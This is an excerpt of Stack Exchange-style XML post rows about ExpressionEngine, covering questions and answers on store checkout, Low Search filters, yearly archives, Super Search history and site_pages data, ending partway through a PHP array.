  <row Id="28936" PostTypeId="1" AcceptedAnswerId="33967" CreationDate="2015-02-10T11:07:22.350" Score="0" ViewCount="39" Body="&lt;p&gt;I'm struggling to get a payment method to be output in the checkout tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;field&quot;&amp;gt;&#xA;    {field:payment_method}&#xA;    {error:payment_method}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I just get an empty select element:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wGrBY.png&quot; alt=&quot;empty select element&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got the &quot;server&quot; option enabled in the backend:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QCrMM.png&quot; alt=&quot;SagePay_Server option enabled&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though there doesn't seem to be any extra option that I have to pass, shouldn't there be a username/password normally?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gtcv7.png&quot; alt=&quot;SagePay_Server settings&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1861" LastActivityDate="2016-05-15T06:10:14.627" Title="{field:payment_method} doesn't output anything" Tags="|expresso-store|sagepay|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28937" PostTypeId="2" ParentId="19892" CreationDate="2015-02-10T13:37:12.170" Score="0" Body="&lt;p&gt;Here's how I fixed this issue, I've had it on a couple of different sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically it's because of corrupted data in the exp_assets or the exp_assets_files table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're on an earlier version of Assets you'll only have the exp_assets table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the data in that table. If there is a row in that table that contains a file that &lt;em&gt;doesn't&lt;/em&gt; start with {filedir_1} (or {filedir_2} etc.) you have a problem. Delete or fix any row that has a filename without {filedir_1}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, if you have an newer version of Assets, you'll have the exp_assets_files table instead. If there are any entries in this that has folder_id NULL those need to be set to any valid folder id (e.g. 1). Or just deleted. &lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2015-02-10T13:37:12.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28938" PostTypeId="1" CreationDate="2015-02-10T14:18:06.000" Score="0" ViewCount="104" Body="&lt;p&gt;Im trying to use Low Yearly Archives to show a list months with a list to an individual month of articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also want to show a list of years excluding the current year so the page will look something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jan&#xA;Feb&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2014&#xA;2013&#xA;2012&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ive had this running on earlier versions of EE but can't get it join on 2.9&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$year = $this-&amp;gt;EE-&amp;gt;localize-&amp;gt;decode_date(&quot;%Y&quot;, $this-&amp;gt;EE-&amp;gt;localize-&amp;gt;now);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_yearly_archives channel=&quot;news&quot; start_month=&quot;1&quot; status=&quot;not closed&quot; sort=&quot;desc&quot; show_future_entries=&quot;no&quot; start_year=&quot;&amp;lt;?=$year?&amp;gt;&quot; end_year=&quot;&amp;lt;?=$year?&amp;gt;&quot; dynamic=&quot;yes&quot;}&#xA;{months}&#xA;{if num_entries &amp;gt; 0}&#xA;&amp;lt;a href=&quot;{site_url}news/archive/{year}/{month_num}/&quot; title=&quot;{num_entries} entries in {month} {year}&quot;&amp;gt;{month}&amp;lt;/a&amp;gt; | {num_entries}&#xA;{/if}&#xA;{/months}&#xA;{/exp:low_yearly_archives}&#xA;&#xA;{exp:low_yearly_archives channel=&quot;news&quot; status=&quot;not closed&quot; sort=&quot;desc&quot; end_year=&quot;&amp;lt;?=$year-1?&amp;gt;&quot; dynamic=&quot;no&quot;}&#xA;{if year == &quot;&amp;lt;?=$year?&amp;gt;&quot;}&#xA;{if:else} &#xA;{if entries_in_year &amp;gt; 0}&#xA;&amp;lt;a href=&quot;{site_url}news/year/{year}/&quot; title=&quot;{entries_in_year} entries in {year}&quot;&amp;gt;&amp;lt;strong&amp;gt;{year}&amp;lt;/strong&amp;gt;&amp;lt;/a&amp;gt;&#xA;{/if}&#xA;{/if}&#xA;{/exp:low_yearly_archives}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Im sure it has something to due with the php part but I can't get it working.&lt;/p&gt;&#xA;" OwnerUserId="249" LastActivityDate="2016-05-24T17:51:55.120" Title="Low Yearly Archives" Tags="|low-yearly-archives|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28939" PostTypeId="2" ParentId="28938" CreationDate="2015-02-10T15:23:57.830" Score="0" Body="&lt;p&gt;I figured it out.&#xA;I needed to change: decode_date to format_date&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$year = $this-&amp;gt;EE-&amp;gt;localize-&amp;gt;format_date(&quot;%Y&quot;, $this-&amp;gt;EE-&amp;gt;localize-&amp;gt;now);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="249" LastActivityDate="2015-02-10T15:23:57.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28940" PostTypeId="1" CreationDate="2015-02-10T15:26:53.243" Score="2" ViewCount="65" Body="&lt;p&gt;Is it possible to add a custom order field to the Orders page in the control panel of Exp:resso Store? If it is possible, how is it done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I need to include the customers company name not a custom field.&lt;/p&gt;&#xA;" OwnerUserId="2024" LastEditorUserId="2024" LastEditDate="2015-02-12T10:03:08.327" LastActivityDate="2016-05-12T16:12:52.600" Title="Exp-resso Store - custom fields in control panel" Tags="|expresso-store|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28941" PostTypeId="1" AcceptedAnswerId="30053" CreationDate="2015-02-10T15:32:58.903" Score="0" ViewCount="41" Body="&lt;p&gt;Trying to submit an order, though I can't seem to get it to forward to the return path. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout require=&quot;name|address1|state|country|postcode|order_email&quot; return=&quot;/checkout/order-complete/ORDER_HASH&quot; form_class=&quot;form&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've seen this post, and it behaves exactly the same, though I do have a name attribute set &amp;amp; that doesn't make a difference :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/9373/order-confirmation-page&quot;&gt;Order Confirmation page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried both a button element &amp;amp; an input (like the docs use) no difference...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;button class=&quot;cta&quot; type=&quot;submit&quot; name=&quot;submit&quot;&amp;gt;Pay Now&amp;lt;/button&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems like my post request is 302ing...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RdPuf.png&quot; alt=&quot;post request 302s&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems like the params are set twice in my post data? Maybe it's being overwritten?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zl9Dw.png&quot; alt=&quot;post data from the 302&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried this with both relative &amp;amp; absolute paths in the return param on the checkout tag. No difference. The order gets submitted, cart gets emptied and it reloads the page /checkout/review-and-pay.&lt;/p&gt;&#xA;" OwnerUserId="1861" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2015-02-17T15:46:43.387" Title="checkout return param doesn't get honoured on submit" Tags="|expresso-store|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28942" PostTypeId="2" ParentId="26936" CreationDate="2015-02-10T15:33:17.827" Score="0" Body="&lt;p&gt;Several things to think about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apache: Keep-Alive Timeout should be more than 5 (2GB files is around 100)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP: upload_max_filesize, memory_limit, max_input_time, post_max_size&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Server: your /tmp partition needs to be more more than the to uploading file. Most /tmp partitions are 512M if your file is larger it won't work. (unless you use a mac at work, mac it's /tmp is not a separate partition that's why it works)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess that your problem lies -&gt; /tmp &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards.&lt;/p&gt;&#xA;" OwnerUserId="394" LastActivityDate="2015-02-10T15:33:17.827" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28943" PostTypeId="1" CreationDate="2015-02-10T18:30:12.630" Score="2" ViewCount="131" Body="&lt;p&gt;I have the field for my grid marked as searchable and the interior fields marked searchable and added to a collection, but I can't get anything inside the grid to show up on a search... I've kept it super simple:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results&#xA;    query=&quot;{segment_3}&quot;&#xA;    limit=&quot;10&quot;&#xA;    paginate=&quot;bottom&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Both of my other collections return the right results...&lt;/p&gt;&#xA;" OwnerUserId="273" LastActivityDate="2015-02-10T18:35:01.280" Title="How to get results from a grid field in low search" Tags="|grid|low-search|low|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28944" PostTypeId="2" ParentId="28943" CreationDate="2015-02-10T18:35:01.280" Score="3" Body="&lt;p&gt;Did you mark the Grid field as searchable &lt;em&gt;after&lt;/em&gt; creating entries? If so, you need to re-save those entries in order to populate the &lt;code&gt;exp_channel_data&lt;/code&gt; table with searchable data, which Low Search in turn uses for its collection index.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-02-10T18:35:01.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28946" PostTypeId="1" AcceptedAnswerId="30278" CreationDate="2015-02-10T20:23:48.177" Score="1" ViewCount="101" Body="&lt;p&gt;Does anyone know how to decode the queries codes (stored like this YToxOntzOjU6ImZpZWxkIjthOjE6e3M6ODoidGFibGltbWUiO3M6MzoiMDFCIjt9fQ==  in exp_super_search_history table) to transform it in this kind of format : search=&quot;keywords=green&amp;amp;channel=products&amp;amp;category=pants+shirts&amp;amp;status=-closed&amp;amp;orderby=title+asc&amp;amp;limit=100&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I can use it as a parameter in {exp:super_search:results} tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for the reply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS : already tried with a little bit of PHP (base64_decode()) but doesn't give the format needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT ::&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hi, in fact I'll explain exactly what I'm trying to do :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a template I make a query to retrieve all the member's last saved search datas.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT essh.*&#xA;FROM exp_super_search_history essh&#xA;INNER JOIN&#xA;    (SELECT member_id, MAX(search_date) AS MaxDateSearch&#xA;    FROM exp_super_search_history WHERE saved='y' AND member_id != '0'&#xA;    GROUP BY member_id) groupedessh&#xA;ON essh.member_id = groupedessh.member_id&#xA;AND essh.search_date = groupedessh.MaxDateSearch&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Whithin this query loop I wanted to show the results of all these searches retrieved by puttting the exp:super_search:results tags with the parameter search={query}. THat's the reason I wanted to decode the query value from exp_super_search_history.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The goal is : On this page I want to loop on all the member's last saved search results and send them an email once a week with the links to all the new added entries that matches their saved criterias.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of trying to decode the {query} thing you suggested me to use the Super_Search:Search tag to build the URL string, what I did :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;URL :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$the_url= '{if super_search_tablimme}tablimme={super_search_tablimme}{/if}{if super_search_comm}&amp;amp;comm={super_search_comm}{/if}{if super_search_offr}&amp;amp;offr={super_search_offr}{/if}{if super_search_prix-from}&amp;amp;prix-from={super_search_prix-from}{/if}{if super_search_prix-to}&amp;amp;prix-to={super_search_prix-to}{/if}';&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And after that :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;template_group/template&quot; the_url=&quot;&amp;lt;?php echo $lol; ?&amp;gt;&quot; the_author=&quot;{member_id}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All works perfectly, except that on this list of results by member, I only see results filtered by criterias for the member I'm connected with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example 1, when I'm connected as member 1, on my list template I see :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;member_id : 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;URL = tablimme=01&amp;amp;offr=V&amp;amp;prix-from=2000&amp;amp;prix-to=190000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;results filterd&lt;/p&gt;&#xA;&#xA;&lt;p&gt;member_id : 2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;URL =&lt;/p&gt;&#xA;&#xA;&lt;p&gt;all the results from the channel (not filtered because it doesn't have retrieved the URL, as you can see above, because I'm not connected with this member account)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example 2, when I'm connected as member 2, on my list template I see :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;member_id : 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;URL = all the results from the channel (not filtered because it doesn't have retrieved the URL, as you can see above, because I'm not connected with this member account)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;member_id : 2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;URL = tablimme=011&lt;/p&gt;&#xA;&#xA;&lt;p&gt;results filterd&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the issue is at the Super_Search:Search tag level, not at the Super_Search:Results because as it is written in the Super Search Dococumentation we can add the search criterias we want in the search=&quot;&quot; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is for a immo project I have for a client. Can you give me help on this please ?&lt;/p&gt;&#xA;" OwnerUserId="2488" LastEditorUserId="2488" LastEditDate="2015-02-17T16:19:00.487" LastActivityDate="2015-02-27T09:49:10.253" Title="Super Search : how to decode the queries codes stored in exp_super_search_history table" Tags="|solspace|supersearch|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="28948" PostTypeId="2" ParentId="28841" CreationDate="2015-02-11T00:35:43.103" Score="1" Body="&lt;p&gt;I know this will sound silly but have you tried changing your quotation marks within the EE tag to single quotes.&#xA;I run into this issue all the time even though it 'looks' like it shouldn't be an issue.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta property=&quot;og:description&quot; {exp:streeng allowed='none'}content=&quot;{pages_summary}&quot;{/exp:streeng}&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I always use single quotes ( ' ) within an EE tag since HTML uses double ones ( &quot; ).&lt;/p&gt;&#xA;" OwnerUserId="1134" LastActivityDate="2015-02-11T00:35:43.103" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28949" PostTypeId="1" AcceptedAnswerId="28952" CreationDate="2015-02-11T01:13:55.940" Score="0" ViewCount="91" Body="&lt;p&gt;I have a Low Search form which I'm using to perform simple text searches with on a collection. However I would like to also include the ability to search for all entries beginning with a specific character (A, B, C etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MY existing Low Search results tag is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results&#xA;        channel=&quot;book_authors&quot;&#xA;        default:orderby=&quot;title&quot;&#xA;        default:sort=&quot;asc&quot;&#xA;        query=&quot;{segment_3}&quot;&#xA;        result_page=&quot;explore/library/authors&quot;&#xA;        limit=&quot;20&quot;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How would I now pass to this results page a search string which will return all authors with surnames (field name {a_surname}) beginning with 'A' for example?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to the pointers from Low I got this working with the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results&#xA;        collection=&quot;book_authors&quot;&#xA;        default:orderby=&quot;title&quot;&#xA;        default:sort=&quot;asc&quot;&#xA;        {if get:search:a_surname}search:a_surname=&quot;^{get:search:a_surname}&quot;{/if}&#xA;        result_page=&quot;explore/library/authors&quot;&#xA;        limit=&quot;20&quot;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="389" LastEditorUserId="389" LastEditDate="2015-02-13T14:13:01.783" LastActivityDate="2015-02-13T14:13:01.783" Title="Filter by entries starting with in Low Search" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28950" PostTypeId="1" AcceptedAnswerId="28960" CreationDate="2015-02-11T02:15:14.123" Score="1" ViewCount="88" Body="&lt;p&gt;I have a database of  30,000+ government agencies and want to create a Channel Entry for each. My initial thought would be to create a Channel Field for all the data, then use an import extension to populate the Channel Fields. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've never had to deal with large numbers of Channel Entries so I wonder if this is a sound approach or may there be another way.&#xA;Regards&lt;/p&gt;&#xA;" OwnerUserId="4992" LastActivityDate="2015-02-11T15:43:50.790" Title="Best Practices for Large Number of Entries" Tags="|channel-entries|import|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28951" PostTypeId="1" CreationDate="2015-02-11T05:32:24.840" Score="1" ViewCount="162" Body="&lt;p&gt;I am trying to list upcoming events in Expression Engine. I have the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:events sort=&quot;asc&quot; dynamic=&quot;no&quot; status=&quot;current&quot; event_limit=&quot;2&quot;}&#xA;&amp;lt;p&amp;gt;&amp;lt;a href=&quot;{url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;{/exp:calendar:events}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am unable to retrieve the full path (www.domain.con/etc/etc). I have tried url_title in the href but it is just the name of the entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These entries belong to a channel called Calendar: Events if that matters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the tag to get the full path to an Entry?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI based on the current data, the first entry should be:&#xA;&lt;a href=&quot;http://www.domain.com/index.php/events/test-speaker-series/#john-smith&quot; rel=&quot;nofollow&quot;&gt;http://www.domain.com/index.php/events/test-speaker-series/#john-smith&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4979" LastActivityDate="2015-02-11T14:22:54.167" Title="Get full URL to entry" Tags="|calendar|events|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28952" PostTypeId="2" ParentId="28949" CreationDate="2015-02-11T07:32:10.077" Score="0" Body="&lt;p&gt;Use the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#field-search&quot; rel=&quot;nofollow&quot;&gt;Field Search&lt;/a&gt; filter, and specifically, the &lt;code&gt;starts_with&lt;/code&gt; parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;search:a_surname=&quot;A&quot; starts_with=&quot;search:a_surname&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is identical to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;search:a_surname=&quot;^A&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-02-11T07:32:10.077" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="28953" PostTypeId="1" AcceptedAnswerId="28954" CreationDate="2015-02-11T08:45:13.243" Score="1" ViewCount="164" Body="&lt;p&gt;I'm having an issue that seems to originate in the site_pages field in the exp_sites table of my database.&#xA;somehow an entry title made it's way into that array. So, i copied the contents of the field, decoded and unserialized it. &#xA;Next, i took out the culprit lines. &#xA;then, i made a new template, and put this script in there:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php &#xA;$uris = array(&#xA;'1' =&amp;gt; '/',&#xA;'58' =&amp;gt; '/sport/',&#xA;'8' =&amp;gt; '/gokuitleg/',&#xA;'14' =&amp;gt; '/sportsnews/',&#xA;'55' =&amp;gt; '/about-betbaas/',&#xA;'56' =&amp;gt; '/disclaimer/',&#xA;'2' =&amp;gt; '/broederliefde-in-brazilie/',&#xA;'3' =&amp;gt; '/nog-een-artikel/',&#xA;'4' =&amp;gt; '/bla-die-bla/',&#xA;'5' =&amp;gt; '/joepie-de-poepie/',&#xA;'9' =&amp;gt; '/vette-wedstrijd-man-cashen/',&#xA;'13' =&amp;gt; '/gokuitleg/veilig-online-gokken/',&#xA;'64' =&amp;gt; '/gokuitleg/verantwoord-online-gokken/',&#xA;'65' =&amp;gt; '/kan-sc-heerenveen-de-ban-breken-en-weer-eens-winnen/',&#xA;'67' =&amp;gt; '/wqeqweqwe/',&#xA;'100' =&amp;gt; '/ron-jans-puzzelt-met-spits/',&#xA;'63' =&amp;gt; '/over-betbaas/',&#xA;'103' =&amp;gt; '/algemene-voorwaarden/',&#xA;'105' =&amp;gt; '/zorgt-huub-stevens-voor-een-stevens-effect-bij-vfb-stuttgart/',&#xA;'106' =&amp;gt; '/kan-dordrecht-in-eigen-huis-winnen-van-willem-ii/',&#xA;'165' =&amp;gt; '/bayer-leverkusen-en-gladbach-gelijkwaardig/',&#xA;'166' =&amp;gt; '/almeria-op-papier-kansloos-tegen-real-madrid/',&#xA;'167' =&amp;gt; '/barcelona-wil-in-spoor-real-blijven/',&#xA;'168' =&amp;gt; '/atletico-madrid-zoekt-aansluiting-met-real-en-barca/',&#xA;'169' =&amp;gt; '/juve-wil-koppositie-verstevigen/',&#xA;'170' =&amp;gt; '/as-roma-wil-gat-slaan-met-genoa/',&#xA;'174' =&amp;gt; '/milan-wilt-winnen-van-napoli/',&#xA;'186' =&amp;gt; '/southampton-aast-op-3-punten/',&#xA;'303' =&amp;gt; '/404/',&#xA;'304' =&amp;gt; '/will-nigeria-successfully-defe/',&#xA;'305' =&amp;gt; '/ajax-want-that-5th-championship/',&#xA;'306' =&amp;gt; '/pec-zwolle-in-great-form/',&#xA;'466' =&amp;gt; '/can-fc-dordrecht-notch-up-another-home-win/',&#xA;'552' =&amp;gt; '/the-bundesliga-es-geht-wieder-los/',&#xA;'726' =&amp;gt; '/eredivisie-round-21-pec-zwolle-looking-to-attack-top-3/',&#xA;'727' =&amp;gt; '/round-19-for-the-bundesliga/',&#xA;'805' =&amp;gt; '/the-7-golden-secrets-of-successful-sports-betting/',&#xA;'884' =&amp;gt; '/sportsnews/ghana-vs.-equatorial-guinea-winners-and-losers-from-afcon-semi-final/',&#xA;'886' =&amp;gt; '/sportsnews/i-wont-resign-klopp/',&#xA;'888' =&amp;gt; '/sportsnews/ghana-3-0-equatorial-guinea-black-stars-clinch-victory-to-seal-ivory-coast-final/',&#xA;'890' =&amp;gt; '/sportsnews/africa-cup-of-nations-semi-final-suspended-amid-fan-chaos/',&#xA;'892' =&amp;gt; '/sportsnews/ill-regret-world-cup-final-forever-messi/',&#xA;'894' =&amp;gt; '/sportsnews/james-undergoes-foot-surgery/',&#xA;'895' =&amp;gt; '/sportsnews/steven-gerrards-la-galaxy-shirt-goes-on-pre-sale-for-a-whopping-114/',&#xA;'897' =&amp;gt; '/sportsnews/kaka-scores-1st-goal-for-orlando-city-in-the-most-low-key-way-imaginable/',&#xA;'899' =&amp;gt; '/sportsnews/do-pictures-of-smoking-partying-wilshere-rub-arsenal-fans-the-wrong-way/',&#xA;'901' =&amp;gt; '/sportsnews/chelsea-wise-to-take-no-risks-with-cesc-fabregas-ahead-of-champions-league/',&#xA;'904' =&amp;gt; '/sportsnews/manchester-united-transfer-news-dani-alves-admission-sparks-red-devils-rumours/',&#xA;'906' =&amp;gt; '/sportsnews/pochettino-dismisses-lloris-to-real-madrid-psg-rumours/',&#xA;'908' =&amp;gt; '/sportsnews/koeman-southampton-job-is-like-a-holiday/',&#xA;'917' =&amp;gt; '/sportsnews/stans-5-point-stance-arsenal-still-in-title-race-mourinhos-master-stroke/',&#xA;'918' =&amp;gt; '/sportsnews/chelsea-transfer-news-latest-rumours-on-mario-mandzukic-and-edinson-cavani/',&#xA;'919' =&amp;gt; '/sportsnews/real-madrid-transfer-news-raheem-sterling-rumours-re-emerge-ahead-of-clear-out/',&#xA;'920' =&amp;gt; '/sportsnews/liverpool-transfer-news-kit-deal-sparks-henrikh-mkhitaryan-marco-reus-rumours/',&#xA;'921' =&amp;gt; '/sportsnews/ac-milan-stadium-plans-represent-a-step-in-the-right-direction/',&#xA;'922' =&amp;gt; '/sportsnews/5-storylines-to-follow-in-serie-a-for-the-weekend-of-february-7/',&#xA;'923' =&amp;gt; '/sportsnews/daniel-sturridge-video-of-raheem-sterling-dancing-worth-it-for-balotelli-cameo/',&#xA;'924' =&amp;gt; '/sportsnews/kevin-grosskreutz-injury-updates-on-borussia-dortmund-stars-hamstring-return/',&#xA;'925' =&amp;gt; '/sportsnews/quiet-transfer-window-is-not-a-disaster-for-manchester-united/',&#xA;'926' =&amp;gt; '/sportsnews/manchester-united-transfer-news-adnan-januzaj-rumours-spark-marquinhos-talk/',&#xA;'927' =&amp;gt; '/sportsnews/atletico-madrid-vs.-real-madrid-complete-positional-breakdown-of-liga-derby/',&#xA;'931' =&amp;gt; '/can-atletico-remain-unbeaten-against-real/',&#xA;'932' =&amp;gt; '/another-weekend-another-eredivisie-combo-banger/',&#xA;'978' =&amp;gt; '/sportsnews/juventus-vs.-ac-milan-score-grades-reaction-from-serie-a-game/',&#xA;'990' =&amp;gt; '/sportsnews/atletico-restore-la-liga-credentials-as-real-madrid-left-to-lick-open-wounds/',&#xA;'994' =&amp;gt; '/sportsnews/everton-vs.-liverpool-score-grades-reaction-from-merseyside-derby/',&#xA;'1002' =&amp;gt; '/sportsnews/epl-table-latest-week-24-results-scores-and-2015-premier-league-standings/',&#xA;'1003' =&amp;gt; '/sportsnews/lucas-leiva-injury-updates-on-liverpool-stars-status-and-return/',&#xA;'1004' =&amp;gt; '/sportsnews/manchester-city-vs.-hull-city-winners-and-losers-from-premier-league-game/',&#xA;'1005' =&amp;gt; '/sportsnews/aston-villa-vs.-chelsea-winners-and-losers-from-premier-league-game/',&#xA;'1006' =&amp;gt; '/sportsnews/epl-results-week-24-premier-league-scores-top-scorers-and-2015-table-tracker/',&#xA;'1007' =&amp;gt; '/sportsnews/atletico-madrid-vs.-real-madrid-derby-winners-and-losers-from-la-liga/',&#xA;'1008' =&amp;gt; '/sportsnews/aston-villa-vs.-chelsea-score-grades-and-reaction-from-premier-league-match/',&#xA;'1009' =&amp;gt; '/sportsnews/ilkay-gundogan-clicks-borussia-dortmund-into-gear-with-a-win-at-freiburg/',&#xA;'1010' =&amp;gt; '/sportsnews/manchester-city-vs.-hull-score-grades-and-reaction-from-premier-league-match/',&#xA;'1011' =&amp;gt; '/sportsnews/atletico-madrid-vs.-real-madrid-derby-score-grades-reaction-from-la-liga/',&#xA;'1012' =&amp;gt; '/sportsnews/sami-khedira-injury-updates-on-real-madrid-stars-hamstring-and-return/',&#xA;'1013' =&amp;gt; '/sportsnews/leighton-baines-injury-updates-on-everton-stars-knee-and-return/',&#xA;'1014' =&amp;gt; 